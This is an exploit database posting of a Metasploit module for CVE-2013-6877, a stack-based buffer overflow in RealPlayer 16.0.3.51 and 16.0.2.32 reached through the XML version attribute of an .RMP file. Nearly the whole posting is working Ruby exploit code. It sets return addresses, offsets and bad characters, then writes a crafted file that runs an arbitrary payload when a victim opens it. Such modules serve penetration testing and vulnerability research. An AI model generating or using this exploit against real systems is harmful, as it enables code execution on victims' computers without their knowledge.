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RealNetworks RealPlayer Version Attribute Buffer Overflow

RealNetworks RealPlayer Version Attribute Buffer Overflow
Posted Dec 26, 2013
Authored by Gabor Seljan | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by improper bounds checking of the version and encoding attributes inside the XML declaration. By persuading the victim to open a specially-crafted .RMP file, a remote attacker could execute arbitrary code on the system or cause the application to crash.

tags | exploit, remote, overflow, arbitrary
advisories | CVE-2013-6877
SHA-256 | 8a8a413478986610cfe01a2463f28c4cb1a4e732df507042bac07cef2741232e

RealNetworks RealPlayer Version Attribute Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
improper bounds checking of the version and encoding attributes inside
the XML declaration.

By persuading the victim to open a specially-crafted .RMP file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabor Seljan' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6877' ],
[ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'seh'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x22",
'Space' => 532,
},
'Targets' =>
[
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
{
'OffsetClick' => 2540, # Open via double click
'OffsetMenu' => 13600, # Open via File -> Open
'Ret' => 0x641930C8 # POP POP RET from rpap3260.dll
}
],
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
{
'OffsetClick' => 2540, # Open via double click
'OffsetMenu' => 13600, # Open via File -> Open
'Ret' => 0x63A630B8 # POP POP RET from rpap3260.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 20 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
],
self.class)

end

def exploit

sploit = rand_text_alpha_upper(target['OffsetClick'])
sploit << generate_seh_payload(target.ret)
sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
sploit << generate_seh_payload(target.ret)
sploit << rand_text_alpha_upper(17000) # Generate exception

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create("<?xml version=\"" + sploit + "\"?>")

end
end

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